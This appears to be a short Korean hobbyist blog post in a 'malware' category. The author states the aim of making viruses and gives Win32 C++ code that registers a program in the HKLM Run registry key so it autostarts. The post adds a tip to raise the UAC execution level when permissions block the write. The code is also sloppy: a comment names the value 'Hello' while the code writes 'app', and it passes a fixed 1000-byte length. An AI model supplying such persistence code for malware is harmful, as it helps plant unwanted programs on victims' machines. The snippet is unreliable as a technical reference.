진지하게 바이러스와 악성코드를 만들어 보기 위해 실행 하면 바이러스가 레지스터에 시작 프로그램에 등록 되도록 코드를 짰다
HKEY hKey; // 핸들 키
LPCWSTR lpPosition = L"프로그램 파일 경로";
long error; // 에러 확인
error = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0L, KEY_WRITE, &hKey); // 레지스터에 있는 키 열기
error = RegSetValueEx(hKey, TEXT("app"), 0, REG_SZ, (BYTE*)lpPosition, 1000);
RegCloseKey(hKey); // 리턴받은 핸들키에 Hello라는 레지스트리를 REG_SZ형식으로 만들고 lpPosition 프로그램으로 값을 등록한다.
만약에 안된다면 이는 권한 문제이므로 다음 링크를 참고 하자
https://noobhack.tistory.com/33
[NOOBHACK] visual studio 권한 설정
파일이나 레지스터를 다루는 코드일 경우 실행이 제대로 안되는 경우가 있다 다음 설정을 참고하자 프로젝트>속성>링커>매니페스트 파일 UAC 실행 수준을 이와 같이 만들어 주면 된다
noobhack.tistory.com
'악성코드' 카테고리의 다른 글
| [NOOBHACK] 메모장 테러 악성코드 (0) | 2022.08.29 |
|---|